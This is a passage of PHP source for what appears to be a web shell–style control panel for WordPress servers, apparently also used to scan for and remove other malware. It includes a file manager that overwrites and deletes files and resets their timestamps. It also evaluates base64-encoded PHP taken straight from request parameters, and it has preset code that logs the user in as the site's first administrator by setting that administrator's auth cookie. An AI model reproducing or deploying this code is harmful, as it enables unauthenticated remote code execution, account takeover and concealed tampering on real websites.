var filt = getCookie('filter');
var filter = prompt('Exception?', filt);
var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
document.cookie = 'filter='+filter+'; expires=' + date.toGMTString();
}\n";
echo "function Force(){
var filename = location.href.replace(/^.*[\\\/]/, '');
var newloc = location.href.replace(filename, '_worker.php?fsdfsfdffs');
location.href = newloc;
}
";
echo "function Fast(){
if('Fast scan off' == document.getElementById('fast_worker').value){
var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
document.getElementById('fast_worker').value = 'Fast scan on';
} else {
var date = new Date();date.setTime(date.getTime()-(100*24*60*60*1000));
document.getElementById('fast_worker').value = 'Fast scan off';
}
document.cookie = 'fast_worker=true; expires=' + date.toGMTString();
}";
echo "function Paranoid(){
if('Paranoid scan off' == document.getElementById('paranoid_worker').value){
var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
document.getElementById('paranoid_worker').value = 'Paranoid scan on';
} else {
var date = new Date();date.setTime(date.getTime()-(100*24*60*60*1000));
document.getElementById('paranoid_worker').value = 'Paranoid scan off';
}
document.cookie = 'paranoid_worker=true; expires=' + date.toGMTString();
}";
echo "function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ? \"\" : \"; expires=\"+exdate.toUTCString()); document.cookie=c_name + \"=\" + c_value; }\n";
echo "function Worker(action, dir, file, code, param, target){
if(action != 'suicide'){
document.getElementById(target).contentWindow.document.write('<!DOCTYPE html><html lang=\"en\"><style>.lds-spinner { color: official; display: inline-block; position: relative; width: 80px; height: 80px;}.lds-spinner div { transform-origin: 40px 40px; animation: lds-spinner 1.2s linear infinite;}.lds-spinner div:after { content: \" \"; display: block; position: absolute; top: 3px; left: 37px; width: 6px; height: 18px; border-radius: 20%; background: #000;}.lds-spinner div:nth-child(1) { transform: rotate(0deg); animation-delay: -1.1s;}.lds-spinner div:nth-child(2) { transform: rotate(30deg); animation-delay: -1s;}.lds-spinner div:nth-child(3) { transform: rotate(60deg); animation-delay: -0.9s;}.lds-spinner div:nth-child(4) { transform: rotate(90deg); animation-delay: -0.8s;}.lds-spinner div:nth-child(5) { transform: rotate(120deg); animation-delay: -0.7s;}.lds-spinner div:nth-child(6) { transform: rotate(150deg); animation-delay: -0.6s;}.lds-spinner div:nth-child(7) { transform: rotate(180deg); animation-delay: -0.5s;}.lds-spinner div:nth-child(8) { transform: rotate(210deg); animation-delay: -0.4s;}.lds-spinner div:nth-child(9) { transform: rotate(240deg); animation-delay: -0.3s;}.lds-spinner div:nth-child(10) { transform: rotate(270deg); animation-delay: -0.2s;}.lds-spinner div:nth-child(11) { transform: rotate(300deg); animation-delay: -0.1s;}.lds-spinner div:nth-child(12) { transform: rotate(330deg); animation-delay: 0s;}@keyframes lds-spinner { 0% { opacity: 1; } 100% { opacity: 0; }}</style><br><br><center><div class=\"lds-spinner\"><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div>');
}
var ele = document.getElementsByName('work_method');
for(i = 0; i < ele.length; i++) {
if(ele[i].checked)
work_method = ele[i].value;
}
if (action == 's_f'){work_method = 'post';}
document.getElementById('action').value = action;
document.getElementById('dir').value = dir;
document.getElementById('file').value = file;
document.getElementById('code').value = code;
document.getElementById('param').value = param;
document.getElementById('worker').method = work_method;
document.getElementById('worker').target = target;
document.getElementById('worker').submit();
}\n";
echo "function MakeHome(){
Worker('f_m','','','','','file_man');
}\n";
echo "function base64EncodeUnicode(str) {
utf8Bytes = encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
return String.fromCharCode('0x' + p1);
});
return btoa(utf8Bytes);
}
function Make_worker(start){
Worker('m_w', start, '', '', '', 'worker_box');
}
function FindEx(cod){
text = atob(cod);
var iframe = document.getElementById('edit_box');
var input = iframe.contentWindow.document.getElementById('text');
input.selectionStart = input.value.indexOf(text);
input.selectionEnd = input.value.indexOf(text) + text.length;
input.focus ();
}
</script>\n";
}
function check_functions(){
$need_func[] = 'openssl_verify';
$need_func[] = 'curl_init';
foreach ($need_func as $fu) {
echo function_exists($fu) ? "" : "<script>alert('$fu not present');</script>\n";
}
}
function to_worker(){
$startdir = dirname(__FILE__);
$z = explode(DIRECTORY_SEPARATOR,trim($startdir,DIRECTORY_SEPARATOR));
$bigdir = '';
$towrite = '<a style=\'cursor:pointer\' onclick=Make_worker(\'' . base64_encode('/') . '\')>[/]</a>';
foreach($z as $t){
$bigdir = $bigdir . DIRECTORY_SEPARATOR . $t;
if(@is_readable($bigdir)){
$color = 'green';
} else {
$color = 'red';
}
$towrite = $towrite . "<a style='cursor:pointer' onclick=Make_worker('" . base64_encode($bigdir) . "')>/<font color=$color>$t</font></a>";
}
return $towrite;
}
function big_table(){
$un = php_uname();
$towrite = to_worker();
echo "<table border=0 width=100%><tr><td style='width:500px'>$un</td>";
echo "<td><input type=button onclick='Force();' value='Force worker'></td>";
echo "<td><input type=button onclick='Fast();' id='fast_worker' value='Fast scan off'></td>";
echo "<td><input type=button onclick='Paranoid();' id='paranoid_worker' value='Paranoid scan off'></td>";
echo "<td><input type=button onclick='Filter();' id='filter' value='Add filter'></td>";
echo "<td> <input type='radio' id='post' name='work_method' value='post' checked>
<label for='post'>_POST</label><br>
<input type='radio' id='get' name='work_method' value='get'>
<label for='get'>_GET</label><br></td>";
echo "<td style='width:240px'><a onclick=Worker('suicide','','','','','_top');><span class='m1'>&nbsp;</span></a><a onclick=Worker('e_p','','','','','edit_box');><span class='m2'>&nbsp;</span></a><a onclick=Worker('m_a','','','','','file_man');><span class='m3'>&nbsp;</span></a><a onclick=Worker('m_p','','','','','file_man');><span class='m4'>&nbsp;</span></a><a href=# onclick=Worker('f_m','','','','','file_man');><span class='m5'>&nbsp;</span></a></td></tr></table>";
echo "<style> a {border:none;outline: none;}a:visited { color: #0000cc;}</style> <table width=100% style='font-size:16px; padding: 5px;'><tr><td>";
echo "Make_worker: $towrite </td>";
echo "<td align=right></td><tr></table>";
echo "<table width=100%><tr valign=top><td width=500><iframe id='file_man' name='file_man' src='' width=100% height=700 scrolling=yes></iframe></td><td width=450><iframe id='edit_box' name='edit_box' src='' width=100% height=700 scrolling=yes></iframe></td><td width=100><iframe id='worker_box' name='worker_box' src='' width=100% height=700 scrolling=yes></iframe></td></tr></table>\n";
}
function big_form(){
echo '<form id="worker" action="?" traget="_self" method="POST">
<input type="hidden" id="action" name="a" value="">
<input type="hidden" id="dir" name="d" value="">
<input type="hidden" id="file" name="f" value="">
<input type="hidden" id="code" name="c" value="">
<input type="hidden" id="param" name="p" value="">
</form>';
}
function file_man_style(){
echo '<style>
table, th, td { border: 0px; border-collapse: collapse; width:100% }
tr:hover { background-color: #ebebeb; }
th, td { padding: 5px; }
a { font-size:15px; border:none; outline: none; cursor:pointer; color:#00f; }
a:visited { color: #0000cc;}
</style>';
echo "<script>function GoTo(){ dir=btoa(document.getElementById('gotodir').value);
parent.Worker('f_m',dir,'','','','file_man');
}</script>\n";
echo "<script>function EditFile(){ file=btoa(document.getElementById('editfile').value);
parent.Worker('e_f','aaa',file,'','','edit_box'); //tut
}</script>\n";
}
function file_man(){
file_man_style();
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d'] ){
$b = base64_decode($_REQUEST['d']);
} else {
$b = realpath(dirname(__FILE__));
}
$files = array();
$dirs = array();
$z = explode(DIRECTORY_SEPARATOR,trim($b,DIRECTORY_SEPARATOR));
$bigdir = '';
$towrite = '';
foreach($z as $t){
$bigdir = $bigdir . DIRECTORY_SEPARATOR . $t;
if(@is_readable($bigdir)){
$color = 'blue';
} else {
$color = 'red';
}
if(@is_writable($bigdir)){
$color = 'green';
}
$towrite = $towrite . "<a onclick = parent.Worker('f_m','". base64_encode($bigdir) ."','','','','file_man'); >/<font color=$color>$t</font></a>";
}
echo "<pre><a onclick = parent.Worker('f_m','','','','','file_man');>[home]</a> ";
echo "<a onclick = parent.Worker('f_m','". base64_encode('/')."','','','','file_man'); >[/]</a> ";
echo $towrite;
echo "<br><br><table>";
$odir = @opendir($b);
while (($file = @readdir($odir)) !== FALSE){
if ($file == '.' || $file == '..'){
continue;
}
$curit = $b.DIRECTORY_SEPARATOR.$file;
if (is_dir($curit) && (!is_link($curit)) ){
$dirs[] = $file;
}
if (is_file($curit) && (!is_link($curit)) ){
$files[] = $file;
}
}
@closedir($odir);
if (count($dirs) > 0) {
sort($dirs);
foreach ($dirs as $curit){
if(@is_readable($b .DIRECTORY_SEPARATOR.$curit)){
$color = 'blue';
} else {
$color = 'red';
}
if(@is_writeable($b .DIRECTORY_SEPARATOR.$curit)){
$color = 'green';
}
$zxc = "<tr><td><a onclick = parent.Worker('f_m','". base64_encode($b . '/' . $curit) ."','','','','file_man'); ><font color=$color>[ $curit ]</font></a></td></tr>";
echo $zxc;
}
}
echo '</table><br><table>';
sort($files);
foreach ($files as $curit){
if(@is_readable($b .DIRECTORY_SEPARATOR.$curit)){
$color = 'blue';
} else {
$color = 'red';
}
if(@is_writeable($b .DIRECTORY_SEPARATOR.$curit)){
$color = 'green';
}
$file_size = wsoViewSize(filesize($b .DIRECTORY_SEPARATOR.$curit));
$file_time = date("d.m.Y", filemtime($b .DIRECTORY_SEPARATOR.$curit));
$perm = get_perm($bigdir . '/' . $curit);
$cfff = base64_encode($bigdir . '/' . $curit);
$cdir = base64_encode($bigdir);
if(strlen($curit) > 30) {
$curitw = '[...] ' . substr($curit, -23);
} else {
$curitw = $curit;
}
echo "<tr id='$cfff'><td style='width:50px'><input type=button onClick=parent.Worker('e_f','$cdir','$cfff','','reload','edit_box'); style='font-size:30px;height:45px;cursor:pointer' value='✐'>
</td><td style='width:50px'><input type=button onClick=parent.Worker('m_f','$cdir','$cfff','','','edit_box'); style='font-size:25px;height:45px;cursor:pointer' value='🛠'></td>
<td><font size=+2 color=$color>";
if('wp-config.php' === $curitw){
echo "<span style='cursor:pointer' onClick=\"parent.Worker('m_wp','$cdir','$cfff','','noreload','edit_box');\">$curitw</span>";
} else {
if(strpos($curitw, '.suspected')> 0){
echo "<span style='cursor:pointer' onClick=\"parent.Worker('r_s','$cdir','$cfff','','reload','edit_box');\">$curitw</span>";
} else {
echo $curitw;
}
}
echo "</font><br><font size=+1>$perm</font></td><td>
<input type=button onClick=parent.Worker('d_f','$cdir','$cfff','','reload','edit_box'); style='font-size:25px;height:45px;cursor:pointer' value='🗑'></td>
<td> $file_size </td><td> $file_time </td></tr>";
}
echo '</table>';
echo "<hr><input type=text id=gotodir><input type=button onClick=GoTo(); value='Goto dir'>";
echo "<hr><input type=text id=editfile><input type=button onClick=EditFile(); value='Edit file'>";
if (isset($_REQUEST['p'])){
$id = $_REQUEST['p'];
echo "<script>
var elmnt = document.getElementById('$id');
elmnt.scrollIntoView();
</script>";
}
}
function edit_file(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$f = $_REQUEST['f'];
$e = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
if(isset($_REQUEST['p']) && 'reload' == $_REQUEST['p']){
$param = 'reload';
} else {
$param = 'no_reload';
}
echo '<!DOCTYPE html><html><meta charset=utf-8>';
echo "<script>
function Scr_n(){
code = document.getElementById('text').value;
parent.Worker('s_n','$dir','$f',code,'$param','edit_box');
}
function Scr(){
code = parent.base64EncodeUnicode(document.getElementById('text').value);
parent.Worker('s_f','$dir','$f',code,'$param','edit_box');
}</script>";
if(file_exists($e)){
if(!@is_writeable($e)) {
chmod($e, 0644);
}
clearstatcache();
$dis = '';
if(!@is_writeable($e)) {
$dis = 'disabled';
}
$text = htmlentities(file_get_contents($e), ENT_QUOTES, "UTF-8");
echo "<textarea id=text name=text style='width:100%;height:620px'>$text</textarea><input onclick=Scr_n(); type=button value='Save norm' $dis ><input onclick=Scr(); type=button value='Save 64' $dis ></form>";
} else {
echo '404 file not found';
}
}
function save_norm(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$fm = $_REQUEST['f'];
$s = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$text = $_REQUEST['c'];
} else {
die('WTF?');
}
if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
$param =$_REQUEST['p'];
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
$text = str_replace(array("\r\n", "\r", "\n"), PHP_EOL,$text);
@clearstatcache();
$time = filemtime($s);
$f = fopen($s,"w");
fputs($f,$text);
fclose($f);
@clearstatcache();
if (touch($s,$time+10,$time+10)) {
echo "touch OK";
} else {
echo "touch bad";
}
if($param == 'reload'){
echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man');</script>";
}
}
function save_file(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$fm = $_REQUEST['f'];
$s = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$text = base64_decode($_REQUEST['c']);
} else {
die('WTF?');
}
if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
$param =$_REQUEST['p'];
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
$text = str_replace(array("\r\n", "\r", "\n"), PHP_EOL,$text);
@clearstatcache();
$time = filemtime($s);
$f = fopen($s,"w");
fputs($f,$text);
fclose($f);
@clearstatcache();
if (touch($s,$time+10,$time+10)) {
echo "touch OK";
} else {
echo "touch bad";
}
if($param == 'reload'){
echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man');</script>";
}
}
function delete_file(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$file_to_delete = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
$param =$_REQUEST['p'];
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$code = $_REQUEST['c'];
}
if('suspected' == $code){
copy($file_to_delete,$file_to_delete . '.suspected');
}
if (unlink($file_to_delete)){
if('reload' == $param){
echo "<script>parent.Worker('f_m','$dir','', '','','file_man');</script>";
}
die("Succes: $file_to_delete");
} else {
die('Deleting fail');
}
}
function exec_php(){
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
eval (base64_decode($_REQUEST['c']));
echo "<hr>";
}
$pos = strpos(__FILE__,'wp-content');
$wdir = substr(__FILE__,0,$pos);
echo "<script>
function Excod(cod){
if(cod == 'admin'){
code = `
\$pos = strpos(__FILE__,'wp-content');
\$wpc = substr(__FILE__,0,\$pos) . 'wp-config.php';
include(\$wpc);
\$users = get_users( array('role' => 'administrator', ) );
\$ids = wp_list_pluck( \$users, 'ID' );
\$id = \$ids['0'];
wp_set_auth_cookie( \$id );
\$url = get_option('siteurl');
\$zzz = '<a target=_blank href=' . \$url . '/wp-admin/plugins.php>admin</a>';
echo \$zzz;
`;
}
if(cod == 'delete_evil'){
code = `include('$wdir' . 'wp-config.php');
require_once ('$wdir' . 'wp-admin/includes/user.php');
\$user = get_user_by( 'email', '[email protected]' );
wp_delete_user(\$user->id);`;
}
if(cod == 'copy_zpl'){
code = `copy('zpl.php','zpl.php');`;
}
if(cod == 'phpinfo'){
code = `phpinfo();`;
}
if(cod == 'touch'){
code = `touch('i.php');`;
}
if(cod == 'restore'){
code = `\$host = \$_SERVER['HTTP_HOST'];
if(\$_SERVER['HTTPS'] == 'on'){
\$data = 'https://'.\$host;
} else {
\$data = 'http://'.\$host;
}
\$pos = strpos(__FILE__,'wp-content');
\$wpc = substr(__FILE__,0,\$pos) . 'wp-config.php';
include(\$wpc);
update_option( 'siteurl', \$data);
update_option( 'home', \$data);
die();`;
}
document.getElementById('text').value = code;
}
function crppp(){
code = parent.base64EncodeUnicode(document.getElementById('text').value);
parent.Worker('e_p','','',code,'','edit_box');
}
</script>";
echo "<a onclick=Excod('admin'); style='cursor:pointer; color:#00f'>Admin</a> _<a onclick=Excod('phpinfo'); style='cursor:pointer; color:#00f'>PHPinfo</a> _ <a onclick=Excod('delete_evil'); style='cursor:pointer; color:#00f'>R_Evil</a> _ <a onclick=Excod('copy_zpl'); style='cursor:pointer; color:#00f'>Copy Zpl</a> _ <a onclick=Excod('restore'); style='cursor:pointer; color:#00f'>Restore home</a> _ <a onclick=Excod('touch'); style='cursor:pointer; color:#00f'>touch</a><br>";
echo "<textarea id=text name=cod style='width:100%;height:420px'></textarea><input type=button onclick=crppp(); value=Eval >";
}
function make_worker(){
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$st_dir = base64_decode($_REQUEST['d']);
} else {
die('WTF?');
}
file_put_contents('_task', "$st_dir" . PHP_EOL);
file_put_contents('_worker.php', base64_decode('PD9waHAKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgzNjAwKTsKCmVycm9yX3JlcG9ydGluZygwKTsKCgokcGF0dGVybnMgPSBhcnJheSgKLyogc3RhcnQgZGVsZXRlIHNlY3Rpb24gKi8KYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIGV2YWxcKFwiXD9cPlwiXHMqXC5ccypiYXNlNjRfZGVjb2RlXChcIi57MTAwMDAsfVwiXClcKTtccypcPz4uPFw/cGhwXHMqXC9cKlthLXosXXs0LH0vbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvaWZcKGVtcHR5XChcJG1vcmRhdXJsXCkvbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvaHR0cDpcL1wvdGRzXC5uYXJvZFwucnVcL2lcLnR4dC9tcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9mdW5jdGlvblxzKmdlbmVyYXRlUmFuZG9tU3RyaW5nLipcJHBheWxvYWRfZmlsZS9tcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9NSU5JIE1JTkkgTUFOSS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJHdwX25vbmNlXHMqPVxzKigifFwnKVswLTlhLXpdezMyfSgifFwnKVxzKjsvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL2lmXCghY2xhc3NfZXhpc3RzXChcJ1JhdGVsXCdcKVwpe2lmXChmdW5jdGlvbl9leGlzdHNcKFwnaXNfdXNlcl9sb2dnZWRfaW5cJ1wpXCl7aWZcKGlzX3VzZXJfbG9nZ2VkX2luXChcKVwpL20nLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvaHR0cHM6XC9cL2dpdGh1YlwuY29tXC9iMzc0a1wvYjM3NGsvbXNpJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL0ppamxlMyBXZWIgUEhQIFNoZWxsIDIwMTUvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvTGVhZiBQSFAgTWFpbGVyIGJ5IFxbbGVhZm1haWxlclwucHdcXS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9XZWJTaGVsbE9yYiAyXC42IC0gV2l0aCBQSFAgNy9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvbWV0YXdwXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2FsbGtleXNwaGFybS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ibG9ja3NwbHVnaW5uXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3N1cGVyc29jaWFsbFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9pbmRleFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy93d3dcLmRhdGVjZW50ZXJcLmNvbS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9Kd2xzamRfYmFhcWlmZ1wucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9Kd2xzamRfd29pcXVzamZ4XC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3dwLXNlc2lvbi1tYW5hZ2VyXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2Z1bmN0aW9uIGdldGJvZHlcKFwkYm9keVwpL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2lmXChlbXB0eVwoXCRfR0VUXFtcJ2luZWVkdGhpc3BhZ2VcJ1xdXClcKS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy89QXJyYXlcKCJwdiI9PkBwaHB2ZXJzaW9uXChcKS9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8xMzZcLjEyXC43OFwuNDYvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvPVxzKkFycmF5XHMqXChccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJyxccypcJ1swLTlBLVphLXpdXCc9PlwnWzAtOUEtWmEtel1cJy9tcycsCiAgICAiYWN0aW9uIiA9PiAn